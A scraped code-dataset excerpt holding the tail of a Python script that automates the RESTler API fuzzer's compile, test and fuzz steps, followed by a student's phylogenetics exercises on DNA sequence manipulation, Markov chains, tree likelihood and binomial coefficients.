os.getcwd()\n #Check if compilation worked as planned and created grammar.py\n if os.path.isfile(\"grammar.py\") and os.path.isfile(\"dict.json\") and os.path.isfile(\"engine_settings.json\"):\n test_restler(dir)\n else:\n print (\"ERROR: Testing in \" + dir)\n finally:\n os.chdir(pathdir.BASEDIR_PATH)\n\n#Run the RESTler command that created the dir TEST with the file main.txt\ndef test_restler(dir):\n #Get out of the Compile directory\n dirout = dir.rstrip(\"Compile\")\n print(dirout)\n os.chdir(dirout)\n print(\"Testing dir: \" + dirout)\n subprocess.run([pathdir.RESTLER_PATH, \"test\", \n \"--grammar_file\", dir + \"/grammar.py\", \n \"--dictionary_file\", dir + \"/dict.json\",\n \"--settings\", dir + \"/engine_settings.json\",\n \"--no_ssl\"], shell=True, stdout=f, text=True) \n\n\n\n#------------\n#STEP 3. FUZZ-LEAN\n\n#\ndef fuzz_lean_dir():\n for dirname in os.listdir(pathdir.BASEDIR_PATH):\n \n if os.path.isdir(dirname):\n #Error Catching (e.g. PathNotFound)\n try:\n os.chdir(BASEDIR_PATH + dirname + \"/Compile\")\n dir = os.getcwd()\n #Check if compilation worked as planned and created grammar.py\n if os.path.isfile(\"grammar.py\") and os.path.isfile(\"dict.json\") and os.path.isfile(\"engine_settings.json\"):\n fuzz_lean_restler(dir)\n else:\n print (\"ERROR: Fuzz-lean in \" + dir)\n finally:\n os.chdir(pathdir.BASEDIR_PATH)\n\n\n#Run the RESTler command that created the dir TEST with the file main.txt\ndef fuzz_lean_restler(dir):\n #Get out of the Compile directory\n dirout = dir.rstrip(\"Compile\")\n print(dirout)\n os.chdir(dirout)\n print(\"Fuzz-leaning dir: \" + dirout)\n subprocess.run([pathdir.RESTLER_PATH, \"fuzz-lean\", \n \"--grammar_file\", dir + \"/grammar.py\", \n \"--dictionary_file\", dir + \"/dict.json\",\n \"--settings\", dir + \"/engine_settings.json\",\n \"--no_ssl\"], shell=True, stdout=f, text=True) \n\n\n\n#------------\n#STEP 4. FUZZ\n\n#\ndef fuzz_dir():\n for dirname in os.listdir(pathdir.BASEDIR_PATH):\n \n if os.path.isdir(dirname):\n #Error Catching (e.g. PathNotFound)\n try:\n os.chdir(pathdir.BASEDIR_PATH + dirname + \"/Compile\")\n dir = os.getcwd()\n #Check if compilation worked as planned and created grammar.py\n if os.path.isfile(\"grammar.py\") and os.path.isfile(\"dict.json\") and os.path.isfile(\"engine_settings.json\"):\n fuzz_lean_restler(dir)\n else:\n print (\"ERROR: Fuzzing in \" + dir)\n finally:\n os.chdir(pathdir.BASEDIR_PATH)\n\n\n#Run the RESTler command that created the dir TEST with the file main.txt\ndef fuzz_restler(dir):\n #Get out of the Compile directory\n dirout = dir.rstrip(\"Compile\")\n print(dirout)\n os.chdir(dirout)\n print(\"Fuzzing dir: \" + dirout)\n subprocess.run([pathdir.RESTLER_PATH, \"fuzz\", \n \"--grammar_file\", dir + \"/grammar.py\", \n \"--dictionary_file\", dir + \"/dict.json\",\n \"--settings\", dir + \"/engine_settings.json\",\n \"--no_ssl\",\n \"--time_budget\", \"1\"], shell=True, stdout=f, text=True) \n\n\n\n\n#------------\n#MAIN\n\nwith open('log.txt', 'w') as f:\n\n #subprocess.run([\"dir\"], shell=True, stdout=f, text=True) \n\n create_dir()\n\n compile_dir()\n \n test_dir()\n\n fuzz_lean_dir()\n\n fuzz_dir()\n\n print(\"Completed.\")\n\nf.close()\n" } ]
1
marcoarego/CompPhylo
https://github.com/marcoarego/CompPhylo
4f0aa8fef7d4dbc567e88521f07e074f672c6a5f
bcac87e8439ceca62c800ee3763fb866503a2c34
87f75fc907bbf97d4ed119ab007c393dc744f8dc
refs/heads/master
2016-09-06T17:58:33.083586
2015-04-21T05:16:45
2015-04-21T05:16:45
29,599,682
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.640486478805542, "alphanum_fraction": 0.6569779515266418, "avg_line_length": 39.30833435058594, "blob_id": "d25b34161428f2345929c161d9be75f23a1ae257", "content_id": "c9d63cabdf8e8e288dc3468b495fa13dbcb4e6ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4851, "license_type": "no_license", "max_line_length": 629, "num_lines": 120, "path": "/seqManip.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 20 10:44:04 2015\n\n@author: Marcola\n\"\"\"\n\n\n\"\"\"\nWith the skills you have now learned in the first part of this script, try this\nexercise:\n*** Sequence Manipulation Exercise ***\n- Create a new Python script (text file)\n- At the beginning of the script, define a DNA sequence (taken from \nhttps://github.com/jembrown/CompPhylo_Spr2015/blob/master/CodingSeq.txt)\n- Print the length of the sequence to the screen along with text explaining \nthe value\n- Create and store the RNA equivalent of the sequence, then print to screen.\n- Create and store the reverse complement of your sequence, then print to \nscreen.\n- Extract the bases corresponding to the 13rd and 14th codons from the \nsequence, then print them to the screen.\n- Create a function to translate the nucleotide sequence to amino acids \nusing the vertebrate mitochondrial genetic code (available from \nhttps://github.com/jembrown/CompPhylo_Spr2015/blob/master/VertMitTransTable.txt).\n- Translate the sequence and print it to the screen.\n- Be sure you've added comments to explain what this script is and what the \ndifferent bits of code mean.\n- Save this script as \"seqManip.py\" and commit it to your class GitHub repo.\n\"\"\"\n\n# defining the DNA sequence as a variable\ndnaSeq = \"aaaagctatcgggcccataccccaaacatgttggttaaaccccttcctttgctaattaatccttacgctatctccatcattatctccagcttagccctgggaactattactaccctatcaagctaccattgaatgttagcctgaatcggccttgaaattaacactctagcaattattcctctaataactaaaacacctcaccctcgagcaattgaagccgcaactaaatacttcttaacacaagcagcagcatctgccttaattctatttgcaagcacaatgaatgcttgactactaggagaatgagccattaatacccacattagttatattccatctatcctcctctccatcgccctagcgataaaactgggaattgccccctttcacttctgacttcctgaagtcctacaaggattaaccttacaaaccgggttaatcttatcaacatgacaaaaaatcgccccaatagttttacttattcaactatcccaatctgtagaccttaatctaatattattcctcggcttactttctacagttattggcggatgaggaggtattaaccaaacccaaattcgtaaagtcctagcattttcatcaatcgcccacctaggc\"\nprint (dnaSeq)\n#Defining how long is our DNA seq\nprint (len(dnaSeq))\ndnaSeqLen = 618\nprint (dnaSeqLen)\n#Replace \"t\" for \"u\" to qet the equivalent RNA sequence\nrnaSeq = dnaSeq.replace(\"t\",\"u\")\nprint (rnaSeq)\n#Creating the reverse complement of the DNA sequence\nrev01=dnaSeq.replace(\"c\",\"G\") \nprint (rev01)\nrev02=rev01.replace(\"a\",\"T\")\nprint (rev02)\nrev03=rev02.replace(\"t\",\"A\")\nprint (rev03)\nrev04=rev03.replace(\"g\",\"C\")\nprint rev04\n#Reversing the DNA sequence using the 'formula' [begin:end:step]\nreverseDNA=rev04.lower()[::-1]\nprint (reverseDNA)\n#- Extract the bases corresponding to the 13rd and 14th codons from the \n# sequence, then print them to the screen.\ncod13 = dnaSeq[36:39]\nprint (cod13)\ncod14 = dnaSeq[39:42]\nprint (cod14)\n#Splitting the sequence into parts of 3 bases in order to get specific codons \nmyCodons=[dnaSeq[x:x+3] for x in range(0,len(dnaSeq),3)]\nfor codons in myCodons:\n print codons\nprint myCodons\n# The function 'codonMatch' splits any dna sequence into codons, retrieving a \n# list with the right amino acid for each codon.\n# The input dna sequence must be a string.\ndef codonMatch(dna):\n myCodons=[dna[x:x+3] for x in range(0,len(dna),3)] # splitting the codons\n for codon in myCodons: # Assigning each codon to the respective amino acid\n if codon in ['ttt','ttc']: \n print \"Phe\",\n elif codon in ['tta', 'ttg', 'ctt', 'cta', 'ctc', 'ctg']:\n print \"Leu\",\n elif codon in ['att', 'atc']:\n print \"Ile\",\n elif codon in ['ata', 'atg']:\n print \"Met\",\n elif codon in ['gtt','gtc', 'gta', 'gtg']:\n print \"Val\",\n elif codon in ['tct', 'tcc', 'tca', 'tcg']:\n print \"Ser\",\n elif codon in ['cct', 'ccc', 'cca', 'ccg']:\n print \"Pro\",\n elif codon in ['act' , 'acc', 'aca' , 'acg']:\n print \"Thr\",\n elif codon in ['gct' , 'gcc', 'gca' , 'gcg']:\n print \"Ala\",\n elif codon in ['tat' , 'tac']:\n print \"Tyr\",\n elif codon in ['taa' , 'tag']:\n print \"Ter\",\n elif codon in ['cat' , 'cac']:\n print \"His\",\n elif codon in ['caa' , 'cag']:\n print \"Gln\",\n elif codon in ['aat' , 'aac']:\n print \"Asn\",\n elif codon in ['aaa' , 'aag']:\n print \"Lys\",\n elif codon in ['gat' , 'gac']:\n print \"Asp\",\n elif codon in ['gaa' , 'gag']:\n print \"Glu\",\n elif codon in ['tgt' , 'tgc']:\n print \"Cys\",\n elif codon in ['tga' , 'tgg']:\n print \"Trp\",\n elif codon in ['cgt' , 'cgc' , 'cga' , 'cgg']:\n print \"Arg\",\n elif codon in ['agt' , 'agc']:\n print \"Ser\",\n elif codon in ['aga' , 'agg']:\n print \"Ter\",\n elif codon in ['ggt' , 'ggc' , 'gga' , 'ggg']:\n print \"Gly\",\n else:\n print \"sp\"\n \ncodonMatch(dnaSeq)\n \n\n " }, { "alpha_fraction": 0.4958377182483673, "alphanum_fraction": 0.5206200480461121, "avg_line_length": 44.83771896362305, "blob_id": "280922493ae9b4cb1c0c9b60c9aa3c8c07828fdb", "content_id": "721c389f24c47d8ec3938ccda232bc371bd465b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10451, "license_type": "no_license", "max_line_length": 183, "num_lines": 228, "path": "/tree_likelihood.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 20 20:54:03 2015\n\n@author: Marcola\n\"\"\"\n# import modules\n\nfrom scipy import linalg\nimport numpy as np\nimport re\n\n# creating the class Node, an object capable of hold the relationships of different nodes of a tree\nclass Node:\n \n def __init__(self,name=\"\",parent=None,children=None):\n self.name = name\n self.parent = None\n if children is None:\n self.children = []\n else:\n self.children = children\n\nextVar = None\n \ndef ReadNewick (data,base=\"root\",space = None, extVar = None):\n \"\"\" This function gets the string of a tree, like (A:1,(B:0.1,(C:0.2,D:1):1):0.6) for example,\n and construct the relationship between the nodes. The PC memory stores their relationship thanks\n to object class Node\n \"\"\"\n if base == \"root\" :# the content of this if statement will deal with the sons of the root\n root = Node(\"root\")\n root.brl = \"0\" # the branch length of the root is zero\n extVar = root # this sentence grab the memory space that has the root of the tree. With this, we can access the tree and all the relationship of its nodes outside the function\n son1 = data.partition('(')[-1].rpartition(')')[0] # this will take off the external parentheses\n regEx1 = re.compile(r'(.*?)\\(.*\\)') # we used the regex module to read in and outside parentheses of the input string tree\n result1 = re.findall(regEx1, son1)\n result1=result1.pop(0)\n result2 = son1.replace(result1,\"\")\n result1 = result1[:-1]\n result1=result1.split(\",\") \n result1.append(result2) # the list \"result1\" contains the sons of the root\n for obj in result1:\n branchname=obj.rpartition(\":\")[0] # separates the name of the son from his branch length\n child=Node(name=branchname,parent=\"root\")\n print \"root son: \", child.name\n root.children.append(child)\n brl=obj.rpartition(\":\")[-1]\n child.brl=brl\n print \"son's branch length: \",child.brl\n child.parent = root\n print \"son's parent: \", child.parent.name,\"\\n\"\n for item in root.children:\n if item.name[0]==\"(\":\n ReadNewick(data=item.name,base=\"x\",space=item) # this recursion will take us to other nodes other than the root\n return extVar\n \n else: # if the node is not the \"root\"\n \"\"\" There are several if and else statement in this part of the function because we\n tried to deal with all tree structure that we could \n \"\"\"\n son2 = data.partition('(')[-1].rpartition(')')[0] # this will take off the external parentheses\n regEx1 = re.compile(r'(.*?)\\(.*\\)')\n result3 = re.findall(regEx1, son2)\n if result3 != [] and result3 != ['']:\n result3=result3.pop(0)\n result4 = son2.replace(result3,\"\")\n result3=result3.split(\",\")\n result3 = result3[:-1]\n result3.append(result4) # the list \"result3\" contains the sons of a given node, depending on the structure of original tree string\n for obj in result3:\n branchname=obj.rpartition(\":\")[0]\n child=Node(name=branchname,parent=data)\n print \"internal node child: \",child.name # this will give the child of each internal node\n space.children.append(child)\n brl=obj.rpartition(\":\")[-1]\n child.brl=brl\n print \"internal node branch length: \",child.brl # this will give the branch length for each internal node\n child.parent=space\n print \"son's parent: \", child.parent.name,\"\\n\" # parent\n if child.name[0]==\"(\": # if the next node starts with \"(\", repeat this 'if' statement; the function will go to the next \"else\" otherwise\n ReadNewick(data=child.name,base=\"x\",space=child)\n else:\n if son2.count(\"(\") > 0:\n son3=son2.split(\",(\")\n print son3\n for value in son3:\n if value[0]!=\"(\":\n value1 = son3.pop(son3.index(value))\n value2 = \"(\" + value1\n son3.append(value2)\n print son3\n for obj in son3:\n branchname=obj.rpartition(\":\")[0]\n child=Node(name=branchname,parent=data)\n space.children.append(child)\n brl=obj.rpartition(\":\")[-1]\n child.brl=brl\n print \"node child: \",child.name\n print \"node branch length: \",child.brl\n child.parent=space \n print \"son's parent: \",child.parent.name,\"\\n\" # parent\n ReadNewick(data=child.name,base=\"x\",space=child)\n else:\n son3 = son2.split(\",\") # son3 is now a list containing terminal nodes, hopefully... :p\n for obj in son3:\n branchname=obj.rpartition(\":\")[0]\n child=Node(name=branchname,parent=data)\n space.children.append(child)\n brl=obj.rpartition(\":\")[-1]\n child.brl=brl\n print \"node child: \",child.name\n print \"node branch length: \",child.brl\n child.parent=space\n print \"son's parent: \",child.parent.name,\"\\n\" #parent\n \n \nSomeTree=\"(A:1,(B:0.1,(C:0.2,D:1):1):0.6)\" \n\nx=ReadNewick(data=SomeTree)\n\n\nfor y in x.children:\n print y.name\n \ndef newick(node): # this newick was made by Subir. \n \"\"\"\n A method of a Tree object that will print out the Tree as a \n parenthetical string (Newick format).\n \"\"\"\n parenthetical = \"(\" \n if len(node.children) == 0:\n return node.name + \":\" + str(node.brl)\n else:\n for child in node.children:\n if node.children[-1] == child: \n parenthetical += newick(child)\n else:\n parenthetical += newick(child) + \",\"\n if node.brl is not None:\n parenthetical += \"):\" + str(node.brl)\n else:\n parenthetical += \")\"\n return parenthetical \n\n\ndef printNames(node):\n \"\"\"\n A method of a Tree object that will print out the names of its\n terminal nodes.\n \"\"\"\n if len(node.children) > 0:\n node.nucl = []\n for child in node.children:\n printNames(child)\n else:\n if node.name == \"A\":\n node.nucl=[1,0,0,0]\n elif node.name == \"B\":\n node.nucl=[1,0,0,0]\n elif node.name == \"C\":\n node.nucl=[1,0,0,0]\n elif node.name == \"D\":\n node.nucl=[1,0,0,0]\n print node.nucl\n return node\n \n \nbanana = printNames(x)\n\ndef TreeLikelihood (node,Q): # listA,listC,listG,listT):\n \"\"\"this function calculates the tree likelihood for one nucleotide site\"\"\"\n array = np.squeeze(np.asarray(Q)) # this transforms my Q matrix in an array A \n if len(node.children) > 0 and node.nucl == []:\n for child in node.children:\n TreeLikelihood(child,Q) # listA,listC,listG,listT \n else:\n # lists that will hold the probabilities of having each base on each internal nodes\n listA=[]\n listC=[]\n listG=[]\n listT=[]\n if node.name != \"root\":\n for x in node.parent.children:\n if x.nucl != []:\n print \"node name: \", x.name,\"(\",\"branch length: \",x.brl,\"/\",\"nucleotide probs(A,C,T,G): \",x.nucl,\")\",\"\\n\"\n \n if x.nucl != []: # do the following calculations if the node already has information on probabilities for each nucleotide\n \n MP=linalg.expm(array*float(x.brl)) # getting the marginal probs according to each branch length size\n \n #calculating the probabilities of going from one base to others\n x.resA=MP[0][0]*x.nucl[0]+MP[0][1]*x.nucl[1]+MP[0][2]*x.nucl[2]+MP[0][3]*x.nucl[3] # moving from A\n x.resC=MP[1][0]*x.nucl[0]+MP[1][1]*x.nucl[1]+MP[1][2]*x.nucl[2]+MP[1][3]*x.nucl[3] # ..... ... C\n x.resG=MP[2][0]*x.nucl[0]+MP[2][1]*x.nucl[1]+MP[2][2]*x.nucl[2]+MP[2][3]*x.nucl[3] # ..... ... T\n x.resT=MP[3][0]*x.nucl[0]+MP[3][1]*x.nucl[1]+MP[3][2]*x.nucl[2]+MP[3][3]*x.nucl[3] # ..... ... G\n \n # lists for the results of each nucleotide\n listA.append(x.resA)\n listC.append(x.resC)\n listG.append(x.resG)\n listT.append(x.resT)\n \n if len(listA)>1:\n squareA=reduce(lambda z, y: z*y,listA)\n if len(listC)>1:\n squareC=reduce(lambda z, y: z*y,listC)\n if len(listG)>1: \n squareG=reduce(lambda z, y: z*y,listG)\n if len(listT)>1:\n squareT=reduce(lambda z, y: z*y,listT)\n lista = [squareA,squareC,squareG, squareT]\n x.parent.nucl=lista\n print \"Parent node with their probabilities for each nucleotide: \",x.parent.name,\"(nucleotide probs (A,C,T,G): \",x.parent.nucl,\")\\n\"\n if x.parent.nucl != []:\n TreeLikelihood (node.parent,Q)\n else:\n pass \n \n else: \n StatProb=linalg.expm(array*100) # calculating the stationary probability matrix to use it on the likelihood calculation\n Likelihood = node.nucl[0]*StatProb[0][0]+node.nucl[1]*StatProb[0][1]+node.nucl[2]*StatProb[0][2]+node.nucl[3]*StatProb[0][3]\n print \"Likelihood: \", Likelihood, \"\\n\" \n return Likelihood # returning the likelihood value so it can be used afterwards \n \n \n\nTreeLikelihood(node=banana,Q=[[-1.916,0.541,0.787,0.588],[0.148,-1.069,0.417,0.506],[0.286,0.170,-0.591,0.135],[0.525,0.236,0.594,-1.355]])\n" }, { "alpha_fraction": 0.5818583965301514, "alphanum_fraction": 0.6349557638168335, "avg_line_length": 29.155555725097656, "blob_id": "38c12a94cc1a489a88e5414975a41cfc2aba88e0", "content_id": "7225eb1da9b06ab23354da838d10425666357383", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1356, "license_type": "no_license", "max_line_length": 111, "num_lines": 45, "path": "/Markov_Object.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 18 21:51:15 2015\n\n@author: Marcola\n\"\"\"\n\nimport scipy as sp\ndef discSamp(events,probs):\n ranNum = sp.random.random()\n cumulProbs = []\n cumulProbs.extend([probs[0]])\n for i in range(1,len(probs)):\n cumulProbs.extend([probs[i]+cumulProbs[-1]])\n for i in range(0,len(probs)):\n if ranNum < cumulProbs[i]:\n return events[i]\n return None\n\n\nclass MarkovObj(object):\n characters=(\"A\",\"T\",\"C\",\"G\")\n probabilities=[[0.25,0.25,0.25,0.25],[0.25,0.25,0.25,0.25],[0.25,0.25,0.25,0.25],[0.25,0.25,0.25,0.25]]\n num=100\n\n def dmcSim(self):\n\n # Define list to hold chain's states\n final_chain = [] \n\n # Draw a state to initiate the chain\n currState = discSamp(events=self.characters,probs=[1.0/len(self.characters) for x in self.characters])\n final_chain.extend(currState)\n\n # Simulate the chain over n-1 steps following the initial state\n for step in range(1,self.num):\n pro = self.probabilities[self.characters.index(currState)] # Grabbing row associated with currState\n currState = discSamp(self.characters,pro) # Sample new state\n final_chain.extend(currState) \n \n return final_chain\nbanana=MarkovObj()\nprint banana.characters\nprint banana.probabilities\nprint banana.dmcSim()" }, { "alpha_fraction": 0.6556701064109802, "alphanum_fraction": 0.7047128081321716, "avg_line_length": 32.618812561035156, "blob_id": "0df3981a53d705c9a6022a3fc0d5d3db9cd2fed5", "content_id": "4ea6bedae01e44bd38932973601a1f52d819dda0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6790, "license_type": "no_license", "max_line_length": 122, "num_lines": 202, "path": "/exercicio4a&bMarkov.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 08 15:28:39 2015\n\n@author: Marcola\n\"\"\"\n\n\"\"\"\nExercise 4\nDiscrete-time Markov chains\n@author: jembrown\n\"\"\"\n\n\"\"\"\nIn this exercise, we will explore Markov chains that have discrete state spaces\nand occur in discrete time steps. To set up a Markov chain, we first need to \ndefine the states that the chain can take over time, known as its state space.\nTo start, let's restrict ourselves to the case where our chain takes only two\nstates. We'll call them A and B.\n\"\"\"\n\n# Create a tuple that contains the names of the chain's states\n\nstate_names = (\"A\",\"B\")\nprint state_names\ntype(state_names)\n\n\n\"\"\"\nThe behavior of the chain with respect to these states will be determined by \nthe probabilities of taking state A or B, given that the chain is currently in \nA and B. Remember that these are called conditional probabilities (e.g., the \nprobability of going to B, given that the chain is currently in state A is \nP(B|A).)\nWe record all of these probabilities in a transition matrix. Each row\nof the matrix records the conditional probabilities of moving to the other\nstates, given that we're in the state associated with that row. In our example\nrow 1 will be A and row 2 will be B. So, row 1, column 1 is P(A|A); row 1, \ncolumn 2 is P(B|A); row 2, column 1 is P(A|B); and row 2, column 2 is P(B|B). \nAll of the probabilities in a ROW need to sum to 1 (i.e., the total probability\nassociated with all possibilities for the next step must sum to 1, conditional\non the chain's current state).\nIn Python, we often store matrices as \"lists of lists\". So, one list will be \nthe container for the whole matrix and each element of that list will be \nanother list corresponding to a row, like this: mat = [[r1c1,r1c2],[r2c1,r2c2]]. \nWe can then access individual elements use two indices in a row. For instance,\nmat[0][0] would return r1c1. Using just one index returns the whole row, like\nthis: mat[0] would return [r1c1,r1c2].\nDefine a transition matrix for your chain below. For now, keep the probabilties\nmoderate (between 0.2 and 0.8).\n\"\"\"\n\n# Define a transition probability matrix for the chain with states A and B\n\nrowA=[0.2,0.8]\nrowB=[0.2,0.8]\nmatrix=[rowA,rowB]\n\n# Try accessing a individual element or an individual row \n# Element\nprint matrix [0] [0] # print 0.2\nprint matrix [0] [1] # print 0.8\nprint matrix [1] [0] # print 0.2\nprint matrix [1] [1] # print 0.8\n\n# Row\nprint matrix [0]\nprint matrix [1]\n\n\"\"\"\nNow, write a function that simulates the behavior of this chain over n time\nsteps. To do this, you'll need to return to our earlier exercise on drawing \nvalues from a discrete distribution. You'll need to be able to draw a random\nnumber between 0 and 1 (built in to scipy), then use your discrete sampling \nfunction to draw one of your states based on this random number.\n\"\"\"\n\n# Import scipy U(0,1) random number generator\nimport scipy\nfrom scipy import stats\nfrom scipy import random\nfrom numpy.random import uniform\nfrom scipy.stats import rv_discrete\n\n\n# Paste or import your discrete sampling function\n\ndef DiscrSample(x,p, sam_siz):\n test = stats.rv_discrete(name='test', values=(x, p))\n result = int(test.rvs(size=sam_siz)) # I changed the original function so it woul return me an integer and not a list\n return result\n\n# Write your Markov chain simulator below. Record the states of your chain in \n# a list. Draw a random state to initiate the chain.\nrowA=[0.4,0.6]\nrowB=[0.7,0.3]\nmat=[rowA,rowB]\nprint mat\nlen(mat)\n\n\ndef Markov2events (matrix,steps):\n iv = uniform(0.0,1.0)\n currValue = DiscrSample(x=[0,1],p=[iv,1-iv],sam_siz=1)\n list1 = [currValue]\n for i in range(steps-1):\n currValue = DiscrSample(x=[currValue,1-currValue],p=matrix[currValue],sam_siz=1)\n list1.append(currValue) \n return list1\n\n \n# Run a simulation of 10 steps and print the output.\n\ntest=Markov2events(matrix=mat,steps=10)\nprint test\n\n# ----> Try to finish the above lines before Tues, Feb. 10th <----\n\n# Now try running 100 simulations of 100 steps each. How often does the chain\n# end in each state? How does this change as you change the transition matrix?\nrowA=[0.4,0.6]\nrowB=[0.7,0.3]\nmat=[rowA,rowB]\nprint mat\n\nlastNumber = []\nfor i in range (100):\n a = Markov2events(matrix=mat,steps=100)\n b = a[-1] # appending the last value to the list \n lastNumber.append(b)\n\nprint lastNumber\nlastNumber.count(0) # returned a proportion near 40/60\nlastNumber.count(1)\n\nrowAa=[0.5,0.5]\nrowBb=[0.5,0.5]\nmat2=[rowAa,rowBb]\n\nlastNumber2 = []\nfor h in range (100):\n r = Markov2events(matrix=mat2,steps=100)\n s = r[-1] # appending the last value to the list \n lastNumber2.append(s)\n\nlastNumber2.count(0) # returned a proportion near 50/50\nlastNumber2.count(1)\n\n\n# Try defining a state space for nucleotides: A, C, G, and T. Now define a \n# transition matrix with equal probabilities of change between states.\nrow1 = [0.25,0.25,0.25,0.25]\nrow2 = [0.25,0.25,0.25,0.25]\nrow3 = [0.25,0.25,0.25,0.25]\nrow4 = [0.25,0.25,0.25,0.25]\nmainMat = [row1,row2,row3,row4]\nprint mainMat\n\n \ndef Markov4events (matrix,steps):\n \"\"\"This function works only with integers as states. Since it has 4 states, it will present 0, 1, 2 and 3 as states\"\"\"\n currValue = int(random.randint(0,4)) \n list1 = [currValue]\n for i in range(steps-1):\n if currValue == 0:\n currValue = DiscrSample(x=[currValue,currValue+1,currValue+2,currValue+3],p=matrix[currValue],sam_siz=1)\n elif currValue == 1:\n currValue = DiscrSample(x=[currValue-1,currValue,currValue+1,currValue+2],p=matrix[currValue],sam_siz=1)\n elif currValue == 2:\n currValue = DiscrSample(x=[currValue-2,currValue-1,currValue,currValue+1],p=matrix[currValue],sam_siz=1)\n elif currValue == 3:\n currValue = DiscrSample(x=[currValue-3,currValue-2,currValue-1,currValue],p=matrix[currValue],sam_siz=1)\n list1.append(currValue)\n list2 = [str(x) for x in list1]\n list2 = [w.replace('0', 'A') for w in list2] # Converting the numbers to letters\n list2 = [p.replace('1', 'C') for p in list2]\n list2 = [u.replace('2', 'G') for u in list2]\n list2 = [n.replace('3', 'T') for n in list2]\n return list2\n\ntest2=Markov4events(mainMat,40)\nprint test2\n \n# Again, run 100 simulations of 100 steps and look at the ending states. Then\n# try changing the transition matrix.\n \ntest3=Markov4events(mainMat,100)\nprint test3\n\nmainMat2 = [[0.2,0.3,0.4,0.1],[0.25,0.15,0.3,0.3],[0.2,0.2,0.3,0.3],[0.7,0.1,0.1,0.1]]\n\nlastNumber3=[]\nfor m in range(100):\n r = Markov4events(matrix=mainMat2,steps=100)\n s = r[-1] # appending the last value to the list\n lastNumber3.append(s)\nprint lastNumber3\n\nlastNumber3.count('A')\nlastNumber3.count('T')\nlastNumber3.count('C')\nlastNumber3.count('G')" }, { "alpha_fraction": 0.6221692562103271, "alphanum_fraction": 0.6560720205307007, "avg_line_length": 32.843048095703125, "blob_id": "719cf3ee63ead44ce712192685aa6308b190ca45", "content_id": "b65a8734b807477cc9fb4711c2580059c0b607d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7551, "license_type": "no_license", "max_line_length": 86, "num_lines": 223, "path": "/Exercise_2.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 24 23:04:02 2015\n\n@author: Marcola\n\"\"\"\nimport random\nfrom scipy import stats\nfrom scipy.stats import rv_discrete\nimport matplotlib.pyplot as plt\n\n# Item 1\n\"\"\"\n(1) Write a function that multiplies all consecutively decreasing numbers \nbetween a maximum and a minimum supplied as arguments. (Like a factorial, but \nnot necessarily going all the way to 1). This calculation would look like: \nmax * max-1 * max-2 * ... * min\n\"\"\"\n\ndef fact(h1,h0):\n \"\"\"\n The main purpose of this function is to execute factorial calculations.\n It presents two arguments. The first one, 'h1' will be the integer that we\n intend to calculate its factorial. In the second argument, you need to place\n the number which you want the multiplication to stop. For instance, if you want\n the full factorial of the number 6, you will put the number 6 as the first\n argument of this function and the number 1 as the second argument: fact (6,1).\n If you want to multiply just 6*5*4, you can only change h0's value to 4 like\n this: fact(6,4).\n \"\"\"\n x = 1\n while (h1 > h0-1 or 0): #The 'while' loop executes a statement while it is true\n x = x * h1 # in these two idented formulas the factorial is executed by \n h1 = h1-1 # automatically replacing the values of 'h1' and 'x'\n return x # the final value of 'x' is the result of the factorial\nfact(6,1)\nfact(6,4)\n\n#----------------------------------------------------------------------------#\n\n# Item 2\n\"\"\"\n(2) Using the function you wrote in (1), write a function that calculates the \nbinomial coefficient (see Definition 1.4.12 in the probability reading). \nActually, do this twice. The first time (2a) calculate all factorials fully. \nNow re-write the function and cancel as many terms as possible so you can avoid\nunnecessary multiplication (see the middle expression in Theorem 1.4.13).\n\"\"\"\n# This is the first function where all the multiplication are done (2a).\ndef binCoef (n,k):\n \"\"\"\n This function represents the function 2a where all factorial are fully\n calculated. It has two arguments that represent the same arguments as the \n ones used in the Binomial Coefficient formula, named 'n'and 'k'. See chapter\n 01, item 1.4.13, for the formula.\n \"\"\"\n n1 = fact(n,1) #we called the previous created function 'fact' in order to\n k1 = fact(k,1) #reduce the number of lines we needed to write.\n c1 = fact (n-k,1)\n return n1/(c1*k1)\nint(binCoef(7,4))\n\n#Following next is the second function (2b) where we avoid unnecessary multiplication \ndef binCoef2 (n2,k2):\n \"\"\"\n This function does exactly the same thing as 'bioCoef(n,k)', although in \n this new function the factorials aren't fully calculated. This saves a lot of\n time!!!\n \"\"\"\n f = 1\n minus = n2-k2\n while n2 > minus:\n f = f*n2\n n2 = n2 - 1\n k3 = fact(k2,1)\n return f/(k3)\nbinCoef2 (7,4)\n\n#----------------------------------------------------------------------------#\n\n# Item 3\n\n\"\"\"\n(3) Try calculating different binomial coefficients using both the functions \nfrom (2a) and (2b) for different values of n and k. Try some really big values \nthere is a noticeable difference in speed between the (2a) and (2b) function. \nWhich one is faster? By roughly how much?\n\n\nNow we will test both functions created to execute the Binomial Coefficient \nformula. The first formula with the fully calculated factorials and the second\nformula where most of the multiplication process were cutted off.\n\"\"\"\n#This is the first function where the factorials are fully calculated\ntest1=binCoef(50000,3000)\n#Up next is the second function, where most of the multiplication where cutted off\ntest2=binCoef2(50000,3000)\n#Bellow is a logical test to see if the results of both functions are the same\ntest1==test2\n\"\"\"\nAs a result, the function with less multiplication process was 5 times faster than\nthe one with all the multiplication.\n\"\"\"\n\n#----------------------------------------------------------------------------#\n\n# Item 4\n\"\"\"\n(4) Use either function (2a) or (2b) to write a function that calculates the \nprobability of k successes in n Bernoulli trials with probability p. This is \ncalled the Binomial(n,p) distribution. See Theorem 3.3.5 for the necessary equation. \n[Hint: pow(x,y) returns x^y (x raised to the power of y).]\n\"\"\"\n\"\"\"\nBernouli test - I used the function binCoef2 